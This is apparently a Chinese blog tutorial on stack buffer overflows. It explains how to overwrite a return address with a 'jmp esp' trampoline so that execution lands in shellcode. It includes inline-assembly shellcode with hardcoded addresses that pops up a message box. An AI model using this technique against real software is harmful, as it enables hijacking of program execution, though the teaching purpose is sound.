软件漏洞-跳板指令定位shellcode

软件漏洞-跳板指令定位shellcode

上一次我们写的shellcode通过栈来看是这样的

软件漏洞-跳板指令定位shellcode

 

 

唯一的问题就是这里的返回地址是写死了的,因为栈内存的地址是经常改变的

解决如何跳转到shellcode地址的问题

在我们的shellcode指令前有一个ret指令

ret

在汇编中执行ret的指令时,需要进行两步操作

(ip)=((ss)*16+(sp))

(sp)=(sp+2)

意思就是把当前栈的东西送给ip,然后再栈顶指针下移,相当于就是pop ip

具体可以查看这个博客

https://www.cnblogs.com/Sna1lGo/p/14269367.html

也就是说我们的首地址其实在esp往下偏移一点的地址里面,所以可以添加修改

也就是说其实我们可以把这个返回地址变成一个jmp esp的地址,然后返回到jmp esp后,又会跳转到我们写的shellcode里面,因为这里的esp是我们的首地址

jmp esp的地址呢,又可以直接在xdbg里面随便选一个进程里面查看一个jmp esp的地址,因为Windows是有很多固定的操作的,所以尽量选一个7开头的地址来处理

然后就OK了

 

shellcode

#include<Windows.h>
#include<iostream>
using namespace std;
DWORD a;
void _declspec(naked) shellcode()
{
__asm
{
push ebp
mov ebp, esp
sub esp, 0x30
// S n a 1 l   G o
// 53 6E 61 31 6C 47 6F
push 0x006F476C;
push 0x31616E53;
mov eax,esp
push 0;
push 0;
push eax;
push 0;
mov eax, 0x75481930;
call eax;
add esp, 0x30;
pop ebp;
mov eax, 0x004013CA;
jmp eax;

}
}
?
int main1()
{
HMODULE hModule = LoadLibraryA("user32.dll");
cout << "hello" << endl;
shellcode();
return 0;
}

然后再把输入文本txt改一下,改成对应的硬编码

软件漏洞-跳板指令定位shellcode

上一篇:Hadoop集群--linux虚拟机JDK安装与配置


下一篇:解决xshell图形界面鼠标点击不了